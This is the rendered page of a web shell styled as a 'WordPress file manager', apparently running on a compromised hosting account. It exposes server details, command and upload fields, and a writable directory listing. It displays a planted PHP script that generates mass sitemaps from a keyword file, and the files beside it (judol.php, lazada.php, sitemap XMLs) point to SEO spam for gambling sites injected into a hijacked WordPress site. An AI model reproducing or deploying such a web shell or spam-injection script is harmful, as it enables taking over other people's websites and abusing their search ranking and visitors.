GRAYBYTE WORDPRESS FILE MANAGER1974

Server IP : 162.213.255.40 / Your IP : 216.73.216.121
System : Linux server146.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/hellrfbn/public_html/wp-content/video/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/hellrfbn/public_html/wp-content/video//sitemap.php
<?php 
// Detect protocol (HTTP or HTTPS)
$protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https' : 'http';

// Detect domain and folder path where the file is located
$domain = $protocol . '://' . $_SERVER['HTTP_HOST'] . dirname($_SERVER['SCRIPT_NAME']) . '/?play=';

// Sitemap name
$sitemap_name = 'play';

// Load the keywords from the hajar.txt file
$keywords = file('hajar.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

// Set the maximum number of links per sitemap file
$max_links_per_sitemap = 10000;

// Initialize the sitemap index
$sitemap_index = '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
$sitemap_index .= '<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . "\n";

// Initialize the sitemap files
$sitemap_files = array();

// Iterate over the keywords and generate the sitemap files
foreach ($keywords as $i => $keyword) {
    // Calculate the sitemap file number
    $sitemap_file_number = ceil(($i + 1) / $max_links_per_sitemap);

    // Create a new sitemap file if necessary
    if (!isset($sitemap_files[$sitemap_file_number])) {
        $sitemap_files[$sitemap_file_number] = '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
        $sitemap_files[$sitemap_file_number] .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . "\n";
    }

    // Create a new URL element
    $sitemap_files[$sitemap_file_number] .= '  <url>' . "\n";
    $sitemap_files[$sitemap_file_number] .= '    <loc>' .$domain. urlencode($keyword) . '</loc>' . "\n";
    $sitemap_files[$sitemap_file_number] .= '  </url>' . "\n";
}

// Close the sitemap files
foreach ($sitemap_files as $sitemap_file_number => &$sitemap_file) {
    $sitemap_file .= '</urlset>' . "\n";
    file_put_contents("$sitemap_name-$sitemap_file_number.xml", $sitemap_file);
}

// Create the sitemap index file
foreach ($sitemap_files as $sitemap_file_number => $sitemap_file) {
    $sitemap_index .= '  <sitemap>' . "\n";
    $sitemap_index .= '    <loc>'.$domain.$sitemap_name.'-' . $sitemap_file_number . '.xml</loc>' . "\n";
    $sitemap_index .= '  </sitemap>' . "\n";
}
$sitemap_index .= '</sitemapindex>' . "\n";

// Save the sitemap index file to sitemap.xml
file_put_contents($sitemap_name.'.xml', $sitemap_index);

// Output a notification that the script has generated the sitemap.xml file
echo "beres bos- bongwick dimari ada bongwick jangan lari heng-heng!";
?>

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
August 10 2025 03:02:13
hellrfbn / hellrfbn
0755
art.txt
477.951 KB
August 05 2025 05:10:50
hellrfbn / hellrfbn
0644
desc.txt
8.459 KB
August 05 2025 05:10:56
hellrfbn / hellrfbn
0644
error_log
5.741 KB
August 11 2025 08:32:12
hellrfbn / hellrfbn
0644
googleb7b0224e985e05d4.html
0.052 KB
August 05 2025 05:11:02
hellrfbn / hellrfbn
0644
hajar.txt
116.678 KB
August 05 2025 05:11:07
hellrfbn / hellrfbn
0644
index.php
461.34 KB
August 05 2025 05:11:17
hellrfbn / hellrfbn
0644
judol.php
2.343 KB
August 05 2025 05:11:22
hellrfbn / hellrfbn
0644
lazada.php
461.89 KB
August 05 2025 05:11:34
hellrfbn / hellrfbn
0644
param.txt
0.004 KB
August 05 2025 05:11:41
hellrfbn / hellrfbn
0644
play-1.xml
625.134 KB
August 05 2025 05:13:42
hellrfbn / hellrfbn
0644
play.xml
0.218 KB
August 05 2025 05:13:42
hellrfbn / hellrfbn
0644
sitemap-1.xml
93.212 KB
August 05 2025 05:13:45
hellrfbn / hellrfbn
0644
sitemap-2.xml
97.677 KB
August 05 2025 05:13:45
hellrfbn / hellrfbn
0644
sitemap-3.xml
98.633 KB
August 05 2025 05:13:45
hellrfbn / hellrfbn
0644
sitemap-4.xml
99.495 KB
August 05 2025 05:13:45
hellrfbn / hellrfbn
0644
sitemap-5.xml
99.31 KB
August 05 2025 05:13:45
hellrfbn / hellrfbn
0644
sitemap-6.xml
99.006 KB
August 05 2025 05:13:45
hellrfbn / hellrfbn
0644
sitemap-7.xml
38.446 KB
August 05 2025 05:13:45
hellrfbn / hellrfbn
0644
sitemap.php
2.413 KB
August 05 2025 05:11:49
hellrfbn / hellrfbn
0644
sitemap.xml
0.83 KB
August 05 2025 05:13:45
hellrfbn / hellrfbn
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF